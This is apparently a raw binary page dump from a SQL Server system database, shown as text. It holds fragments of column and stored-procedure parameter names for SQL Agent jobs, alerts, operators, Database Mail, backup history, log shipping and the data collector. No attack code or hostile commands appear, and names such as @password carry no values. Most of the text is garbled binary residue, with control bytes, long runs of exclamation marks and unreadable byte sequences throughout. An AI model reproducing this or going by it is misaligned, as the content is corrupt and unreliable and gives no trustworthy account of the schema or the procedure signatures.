_last_executed_step_id0-~H==clast_executed_step_date0-~H	==[stop_execution_date0-~H
88
Qjob_history_id0-~H==cnext_scheduled_run_date0-I$$C@job_id0-I4G@job_name0-I4?@name0-I4G@new_name0-I00E@enabled0-I88
I@freq_type0-I88
Q@freq_interval0-I88
W@freq_subday_type0-I	88
_@freq_subday_interval0-I
88
c@freq_relative_interval0-I88
c@freq_recurrence_factor0-I88
Y@active_start_date0-I
88
U@active_end_date0-I88
Y@active_start_time0-I88
U@active_end_time0-IhhS@automatic_post0-J$$C@job_id0-J4G@job_name0-*eH$$;uid0-*eH4@Gtext_data0-*eH==NJKcreate_date0-0H88
Obackup_set_id0-0H00[first_family_number0-0H44Yfirst_media_number0-0H4Qfilegroup_name0-0H88
Gpage_size0-0Hll	
	Kfile_number0-0Hll	
	]backed_up_page_count0-0H4Gfile_type0-0H	ll	
	asource_file_block_size0-0H
ll

Gfile_size0-0H4Mlogical_name0-0H4Qphysical_drive0-0H
4Ophysical_name0-0H00?state0-0H4Istate_desc0-0Hll

Icreate_lsn0-0Hll

Edrop_lsn0-0H$$Gfile_guid0-0Hll

Oread_only_lsn0-0Hll

Qread_write_lsn0-0Hll

_differential_base_lsn0-0H$$adifferential_base_guid0-0Hll

Kbackup_size0-0H$$Qfilegroup_guid0-0HhhKis_readonly0-0HhhIis_present0-֩GC@log_id0-HQ@parent_log_id0-H$$K@package_id0-H$$_@package_execution_id0-H88
[@collection_item_id0-H44?@mode0-H4G@operator0-HC@log_id0-HIC@log_id0-H4U@network_account0-H4Y@mdw_database_name0-yI4K@proxy_name0-yI4U@credential_name0-yI4U@network_account0-yI4G@password--nJ4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t\Y
:
3^

Ze1PU2
		#	gf%:?.l{6mt9~-";d%8IZ	U`-CY)+#MeIg0-+\88
MZcategory_idc0-+\88
Qcategory_class0-+\00Ocategory_type0-+\4=name0-:]4K@login_name0-:]4Q@database_name0-:]4[@database_user_name0-d]88
IVserver_id0-d]4Kserver_name0-d]4Elocation0-d]88
]time_zone_adjustment0-d]=={/Kenlist_date0-d]=={/Qlast_poll_date0-d]88
H0Astatus0-d]==clocal_time_at_last_poll0-d]	4[enlisted_by_nt_user0-d]
88
Opoll_interval0-s	^$$C@job_id0-s	^4M@server_name0-^88
Gserver_id0-^4Kserver_name0-^==Kenlist_date0-^==Qlast_poll_date0-`]88
K@account_id0-`]4O@account_name0-`]hhW@allow_both_nulls0-`]hhc@allow_id_name_mismatch0-`]88
I@accountid0-IT^4O@profile_name0-IT^4M@description0-IT^88
K@profile_id0-+]4]@primary_server_name0-+]4a@primary_database_name0-+]$$]@maintenance_plan_id0-+]88
W@backup_threshold0-+]88
U@threshold_alert0-+]hhe@threshold_alert_enabled0-+]88
i@planned_outage_start_time0-+]88
e@planned_outage_end_time0-+]	88
m@planned_outage_weekday_mask0-+]
88
K@primary_id0-^88
K@primary_id0-^4a@secondary_server_name0-^4e@secondary_database_name0-^$$Y@secondary_plan_id0-^hhO@copy_enabled0-^hhO@load_enabled0-^88
a@out_of_sync_threshold0-^88
U@threshold_alert0-^	hhe@threshold_alert_enabled0-^
88
i@planned_outage_start_time0-^88
e@planned_outage_end_time0-^88
m@planned_outage_weekday_mask0-^
hhY@allow_role_change0-]4M@installpath0-.^$$Ycollection_set_uid0-.^88
Wcollection_set_id0-.^88
Ycollection_item_id0-.^$$_collection_package_id0-.^$$Wupload_package_id0-ր]4t^Uvolume_device_id0-ր]4i_Kvolume_name0-ր]jj

LC]`Kcapacity_mb0-ր]jj

gQaOfree_space_mb0-ր]4]server_instance_name0-ր]4[virtual_server_name0-ր]4]physical_server_name0-wK]4]server_instance_name0-wK]4Odatabase_name0-wK]88
Mhealth_state0-wK]++
"
Sprocessing_time0-?^4Edac_name0-?^4edac_server_instance_name0-?^4Cfg_name0-?^88
Gfile_type0-?^88
Mhealth_state0-?^++
"
Sprocessing_time0-4_88
"9(`Gdac_count0-4_88
[]aWdac_healthy_count0-4_88
b[dac_unhealthy_count0-4_88
ͥcadac_over_utilize_count0-4_88
ccdac_under_utilize_count0-4_88
?d{dac_on_over_utilized_computer_count0-4_88
xe}dac_on_under_utilized_computer_count0-4_88
6fdac_with_files_on_over_utilized_volume_count0-4_	88
Zgdac_with_files_on_under_utilized_volume_count0-4_
88
#hwdac_with_over_utilized_file_count0-4_88
\iydac_with_under_utilized_file_count0-4_88
ǥjdac_with_over_utilized_processor_count_computer_count[6)#;(c(K	e		AR

;mh[

flmt/3d	]rjymd
)o
Z
	Z`-Y)#E`֞-0-tOg88
[@activeendtimeofday0-tOg88
M@nextrundate0-tOg88
M@nextruntime0-tOg88
M@runpriority0-tOg4Y@emailoperatorname0-tOg88
Q@retryattempts0-tOg88
K@retrydelay0-tOg4E@command0-tOg88
c@loghistcompletionlevel0-tOg88
_@emailcompletionlevel0-tOg4M@description0-tOg`4Y@tagadditionalinfo0-tOg88
M@tagobjectid0-tOg88
Q@tagobjecttype0-tOg88
A@newid0-tOg4K@parameters0-tOg 88
[@cmdexecsuccesscode0-tOg!4Q@category_name0-tOg"88
M@category_id0-sh4?@name0-sh4I@loginname0-sh88
;@id0-i4?@name0-i88
K@message_id0-i88
G@severity0-i00E@enabled0-i88
e@delay_between_responses0-i4_@notification_message0-i00o@include_event_description_in0-i4Q@database_name0-i	4i@event_description_keyword0-i
$$C@job_id0-i4G@job_name0-i00U@raise_snmp_trap0-i
4a@performance_condition0-i4Q@category_name0-i4Q@wmi_namespace0-i4I@wmi_query0-i00O@verify_alert0-Xj4?@name0-Xj88
K@message_id0-Xj88
G@severity0-Xj00E@enabled0-Xj88
e@delay_between_responses0-Xj4_@notification_message0-Xj00o@include_event_description_in0-Xj4Q@database_name0-Xj	4i@event_description_keyword0-Xj
$$C@job_id0-ig88
K@account_id0-ig4O@account_name0-h88
K@account_id0-i88
K@profile_id0-i4O@profile_name0-i88
K@account_id0-i4O@account_name0-i88
U@sequence_number0-.ֺj88
K@profile_id0-.ֺj4O@profile_name0-.ֺj88
K@account_id0-.ֺj4O@account_name0-.ֺj88
U@sequence_number0-˧i4S@primary_server0-˧i4W@secondary_server0-˧i4G@database0-˧i4K@new_source0-̅j4G@password0-Pj88
Gserver_id0-Pj88
Sserver_group_id0-Pj4=name0-Pj4Kserver_name0-Pj4Kdescription0-Pj88
Kserver_type0-Pj88
IVserver_id0-K?gIhistory_id0-K?g88
Gpolicy_id0-K?g==Istart_date0-K?g==Eend_date0-K?ghhAresult0-K?g4@Wexception_message0-K?g4@Gexception0->o3hGdetail_id0->o3hIhistory_id0->o3h@4@ctarget_query_expression0->o3h@4@starget_query_expression_with_id0->o3h==kQexecution_date0->o3hhhAresult0->o3h4@Oresult_detail0->o3h4@Wexception_message0->o3h	4@Gexception0->o3hIbdetail_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A"
x
1
@[ >Xm
p
-
	s		@i*l7j)eWg8+Nun#D?LU`D-2)M(mK0-uo4?@name0-uo4G@new_name0-uo00E@enabled0-uo4Q@email_address0-uo4Q@pager_address0-uo88
g@weekday_pager_start_time0-uo88
c@weekday_pager_end_time0-uo88
i@saturday_pager_start_time0-uo	88
e@saturday_pager_end_time0-uo
88
e@sunday_pager_start_time0-uo88
a@sunday_pager_end_time0-uo00K@pager_days0-uo
4U@netsend_address0-uo4Q@category_name0-o<4c@name_of_name_parameter0-o<4_@name_of_id_parameter0-o4Q@category_name0-o88
M@category_id0-p4Q@operator_name0-p88
M@operator_id-p==0-p88
?@date0-p88
?@time0-ݜq4Q@operator_name0-q<4c@name_of_name_parameter0-q<4_@name_of_id_parameter0-q4K@proxy_name0-q88
G@proxy_id0- r<4c@name_of_name_parameter0- r<4_@name_of_id_parameter0- r4Q@operator_name0- r88
M@operator_id0-Jr<4c@name_of_name_parameter0-Jr<4_@name_of_id_parameter0-Jr4U@credential_name0-Jr88
Q@credential_id0-Jrhhq@allow_only_windows_credential0-Y&s4O@profile_name0-Y&s88
;@id0-Y&s4?@name0-Y&s4E@subject0-Y&s4?@body0-Y&s4W@file_attachments0-Y&s4Q@mail_database0-sp88
O@principal_id0-sp4S@principal_name0-sp88
K@profile_id0-sp4O@profile_name0-sphhK@is_default0-gq88
O@principal_id0-gq4S@principal_name0-gq88
K@profile_id0-gq4O@profile_name0-gqhhK@is_default0-[r88
O@principal_id0-[r4S@principal_name0-[r88
K@profile_id0-[r4O@profile_name0-/Ps88
O@principal_id0-/Ps4S@principal_name0-/Ps88
K@profile_id0-/Ps4O@profile_name0-Z>p$$Efolderid0-Z>p$$Qparentfolderid0-Z>p4Ifoldername0-s4?event0-s4Ecomputer0-s4Eoperator0-s4Asource0-s$$Esourceid0-s$$Kexecutionid0-s==Gstarttime0-s	==Cendtime0-s
88
Edatacode0-s""Gdatabytes0-s4Cmessage0-s88
;Hid0-0	p88
M@server_type0-ip4?@name0-ip4M@description0-ip88
I@parent_id0-ip88
M@server_type0-ip88
U@server_group_id0-q4?@name0-q88
U@server_group_id0-q4M@server_name0-q4M@description0-q88
M@server_type0-q88
I@server_id0-r88
U@server_group_id0-o88
I@policy_id0-o==M@oldest_date0-?p4?@type0-?p4?@name0-?p88
I@object_id0-?phhC@marker-xټq40-xټq4U@event_type_name0-r88
Gpolicy_id0-rhhKsynchronous0-r@Ievent_data!!!!!!!!!!!!!!!!!!!!!!!!!!K

p
1
5j%P@61
?
0
	n	L{.?'	}_r#^Kv-|>g"</bv+e4|+`-)JJ0-t4?@name0-t88
G@proxy_id0-t4K@proxy_name0-L88
W@current_proxy_id0-L4[@current_proxy_name0-L88
U@target_proxy_id0-L4Y@target_proxy_name0-yQ4Qparameter_name0-yQbbPPSparameter_value0-E88
Q@desired_state0-@94Q@instance_name0-4?@name0-88
K@setting_id-88
0-88
Kobject_type0-@4@Kobject_name0-ǎ88
Kinstance_id0-ǎ4Oinstance_name0-ǎ4[virtual_server_name0-ǎ++
"
4kMdate_created0-ǎ4X_	Icreated_by0-ǎ4[agent_proxy_account0-ǎ4Scache_directory0-ǎ88
}S
Umanagement_state0-ǎ88
MZinstance_idc@name_of_name_parameter0-ە
<4_@name_of_id_parameter0-ە
4G@job_name0-ە
$$C@job_id0-ە
4c@sqlagent_starting_test0-ە
UI@owner_sid0-\88
KXaccount_id0-\4=name0-\4Kdescription0-\4Oemail_address0-\4Mdisplay_name0-\4Sreplyto_address0-\==9Wlast_mod_datetime0-\4@-Olast_mod_user0-<4c@name_of_name_parameter0-<4_@name_of_id_parameter0-4Q@schedule_name0-88
M@schedule_id0-UI@owner_sid0-88
S@orig_server_id0-$$Q@job_id_filter0-Mޅ$$C@job_id0-Mޅ4O@program_name0-z
4M@server_name0-&n@4I@operation0-&n@4M@object_type0-&n$$C@job_id0-&n4c@specific_target_server0-&n88
A@value0-&n$$O@schedule_uid0-b00Astatus0-b00Epriority0-b$$_conversation_group_id0-b$$[conversation_handle0-bcmessage_sequence_number0-b$$Imessage_id0-b88
Smessage_type_id0-b	88
Iservice_id0-b
88
[service_contract_id0-bIvalidation0-b88
Onext_fragment0-b
88
Ofragment_size0-bSfragment_bitmap0-b@[binary_message_body0-b==]message_enqueue_time0-bQjqueuing_order0-9K00Astatus0-9K00Epriority0-9K$$_conversation_group_id0-9K$$[conversation_handle0-9Kcmessage_sequence_number0-9K$$Imessage_id0-9K88
Smessage_type_id0-9K	88
Iservice_id0-9K
88
[service_contract_id0-9KIvalidation0-9K88
Onext_fragment0-9K
88
Ofragment_size0-9KSfragment_bitmap0-9K@[binary_message_body0-9K==]message_enqueue_time0-9KQjqueuing_order0-N]?	$$Isubplan_id0-N]?	4Msubplan_name0-N]?	4[subplan_description0-N]?	$$Cplan_id0-N]?	$$Ajob_id0-N]?	$$Imsx_job_id0-N]?	88
Kschedule_id0-N]?	hh6Emsx_plan0-yQ4Qparameter_name0-yQbbPPSparameter_value0-E88
Q@desired_state0-@94Q@instance_name0-4?@namenw.p`Jaix/ajsa581`-.)z*Mij0-'hhU@notify_sqlagent0-$4Iservertype0-$hhbKis_incoming0-$hhφKis_outgoing0-$==Wlast_mod_datetime0-$4AϪOlast_mod_user0-N$4K@msx_server0-N$88
O@jobs_deleted0-|88
Wcollection_set_id0-|$$Ycollection_set_uid0-|@4@=name0-|4@Atarget0-|hhGis_system0-|hhIis_running0-|44Scollection_mode0-|88
Eproxy_id0-|	$$Mschedule_uid0-|
$$Wcollection_job_id0-|$$Oupload_job_id0-|44Ologging_level0-|
44_days_until_expiration0-|@4@Kdescription0-|hhWdump_on_any_error0-|4@Odump_on_codes0-$$Kinstance_id0-4Oinstance_name0-4Gtype_name0-4Mtype_version0-@4@Kdescription0-@Ktype_stream0-==Mdate_created0-4Icreated_by0-	4Odatabase_name0-a88
Gdac_count0-a88
Wdac_healthy_count0-a88
[dac_unhealthy_count0-a88
adac_over_utilize_count0-a88
cdac_under_utilize_count0-a88
{dac_on_over_utilized_computer_count0-a88
}dac_on_under_utilized_computer_count0-a88
dac_with_files_on_over_utilized_volume_count0-a	88
dac_with_files_on_under_utilized_volume_count0-a
88
wdac_with_over_utilized_file_count0-a88
ydac_with_under_utilized_file_count0-a88
dac_with_over_utilized_processor_count0-a
88
dac_with_under_utilized_processor_count!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:
		5	VI&6

"^
e
mlw*I+`A-)/
D64g0-q}_M4[@originating_server0-SN4G@job_name0-SN00E@enabled0-SN4M@description0-SN88
Q@start_step_id0-SN4Q@category_name0-SN88
M@category_id0-SN4W@owner_login_name0-SN88
a@notify_level_eventlog0-SN	88
[@notify_level_email0-SN
88
_@notify_level_netsend0-SN88
Y@notify_level_page0-SN4k@notify_email_operator_name0-SN
4o@notify_netsend_operator_name0-SN4i@notify_page_operator_name0-SN88
O@delete_level0-SN$$C@job_id0-SN4[@originating_server0-VM88
Yrestore_history_id0-VMll	
	Kfile_number0-VM4adestination_phys_drive0-VM4_destination_phys_name-,M0-,MC@log_id0-yM88
Q@target_set_id0-;sN88
Q@target_set_id0-;sN4Q@type_skeleton0-;sN88
O@condition_id0-;sN4S@condition_name0-;sN4K@level_name0-;sN88
]@target_set_level_idmail_operator_name0-GO4o@notify_netsend_operator_name0-GO4i@notify_page_operator_name0-GO88
O@delete_level0-GOhhS@automatic_post0-;P$$C@job_id0-;P4G@job_name0-;P4[@originating_server0-;PhhS@delete_history0-;Phhc@delete_unused_schedule0-U0Q$$C@job_id0-U0Q4G@job_type0-U0Q4W@owner_login_name0-U0QP4I@subsystem0-U0Q88
M@category_id0-U0Q00E@enabled0-VM88
Yrestore_history_id0-VMll	
	Kfile_number0-VM4adestination_phys_drive0-VM4_destination_phys_name0-O88
Yrestore_history_id0-O4Qfilegroup_name-,M0-,MC@log_id0-eNC@log_id0-eNhh]@from_collection_set0-eNAlog_id0-eNOparent_log_id0-eN88
Wcollection_set_id0-eN==Istart_time0-eN==[last_iteration_time0-eN==Kfinish_time0-eN88
Eduration0-eN44aruntime_execution_mode0-eN	4Eoperator0-eN
44Astatus0-eN$$Ipackage_id0-eN$$]package_execution_id0-eN
4Sfailure_message0-eN88
?depth0-˜OC@log_id0-˜OAlog_id0-˜O4Gtask_name0-˜O88
Uavg_row_count_in0-˜O88
Umin_row_count_in0-˜O88
Umax_row_count_in0-˜O88
Wavg_row_count_out0-˜O88
Wmin_row_count_out0-˜O88
Wmax_row_count_out0-˜O	88
]avg_row_count_errors0-˜O
88
]min_row_count_errors0-˜O88
]max_row_count_errors0-˜O88
Mavg_duration0-˜O
88
Mmin_duration0-˜O88
Mmax_duration0-PC@log_id0-P4Asource0-P4?event0-P4Cmessage0-P==Istart_time0-P==Kfinish_time0-P88
Edatacode0-P""Gdatabytes0-yM88
Q@target_set_id0-;sN88
Q@target_set_id0-;sN4Q@type_skeleton0-;sN88
O@condition_id0-;sN4S@condition_name0-;sN4K@level_name76
		I	#(N;6G"~V`G68+t2O:aF6a4@
6a=
6b8
6b$
6b4
6b8
6b@
6b=
6c0
6c$
6c0
6c$
6c&#
6c.
6c$6
6c8F
6c		8J	
6c

8N

6cR
6c8T
6c

8X

6c\
6c@
6c=d
6d0
6d0
6d
6d$
6d$
6d8++
6e0
6e$
6e0
6e$
6e&#
6e.
6e$6
6e8F
6e		8J	
6e

8N

6eR
6e8T
6e

8X

6e\
6e@
6e=d
6f0
6f0
6f
6f$
6f$
6f8++
6g$
6g4
6g4
6g$
6g$$
6g$4
6g8D
6ghH
6h$
6h$
6h$$
6h=4
6h=<
6hhD
6hhD
6h4
6h		4	
6h

4

6i$
6i4
6i4
6i4
6i4
6i4
6i4
6i=
6i		=	
6i

8$

6i4@
6i4@
6i

h(

6j$
6j4
6j=
6j4
6j8
6j4
6j8 
6j8$
6j		4	
6j

=(

6j$0
6k$
6k$
6l$
6l4
6o8
6o$
6o8
6o4
6o4
6o4
6o4
6oh
6o	=	
6o	
8!

6o8%
6o4
6p8
6p$
6p8
6q8
6q$
6q0
6q4
6q4
6q4
6q8
6q0
6q		0	
6q

h

6qh
6r$
6r8
6s8
6s0
6s	0	
6s$

6s8
6s4
6s4
6s0
6q		0	
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68,;}`6s	8	
6t$
6t8
6t0
6t0
6u8
6u$
6u8
6u0
6u4
6u0
6u4 
6u0"
6u		4#	
6u

8%

6u=)
6u81
6u

4

6u4
6u4
6u05
6u06
6u47
6u49
6u0;
6ul<
6ulI
6ulV
6ulc
6u=p
6u=x
6u=
6u4
6u4
6u4
6u0
6u  8 
6u!!l!
6u""4"
6u##4#
6u$$4$
6u%%8%
6u&&8&
6u''8'
6u((4(
6u))h)
6u**x4*
6u++h+
6u,,h,
6u--h-
6u..h.
6u//h/
6u00h0
6u11h1
6u22h2
6u33h3
6u44h4
6u55$5
6u66$6
6u77l7
6u88$8
6u99$9
6u::l:
6u;;$;
6u<<l<
6v$
6v8
6w=
6w8		
6x8
6x8
6x4
6x$
6x4
6xx4
6xh
6xh
6x		$	
6y8
6yl

6y0
6y4
6y4
6y8
6yl

6y4!
6y		l
"	
6y

l+

6y4
6y4
6y

4

6y08
6y4
6yl9
6ylF
6y$S
6ylc
6ylp
6yl}
6y$
6yl
6y$
6yh
6yh
6z8
6z=
6z4
6z4
6z8
6z4
6zh
6zh
6z		h	
6z

=

6z0
6z4
6z

h

6{8
6{8
6|8
6|l

6|4
6|4
6}8
6}4
6~4
6~4
6~4
6~4
6~l
6~=
64
64
6
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68U8wd64
6l
6
68
68
6
68
68
6=
68
64
64
6$
68
68
6h 
64
6		=!	
6

8)

68-
681
6

4

68
64
64
64
64
6=
6=
6$
6		h(	
6

h(

68)
68-
6

h(

681
685
689
6h(
64
6$
64
6=
6$
6U
6"
68,
6		80	
6

84

688
68<
6

4

6$@
6hP
6U
6U
6$
64
6
6$
6$
64
6$
64
6
6$
6
68
64
64
64
64
6$
6$
6=(
6		=0	
6

88

6"
64
64
6b
68
6$
6$
64
68(
64@
6h,
68-
6		h,	
6

$1

6$A
64Q
6

4S

6@4
68U
64Y
6h,
64@
64
68
6$
64
6@
6@
64
64
6$
64
6		$$	
6

h4

64
6$
68
68
6$
64
68
68 
6@
64
68
68
6
6
68
68
6=
6=$
6=,
644
6		46	
6

4

6$8
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68U8wUw6$H
6

4

6
64
6=	
68
68
68
68 
64
6@
6$
68
68
6$
6$,
68
68
68
64
64
68
6h
68
64
68
68
68
68
64
68
68
68
68
68
64
64
64
68
68
64
68
68
68
68
64
68
68
6[8
6[4@
6[8
6_8
6_4
6_8
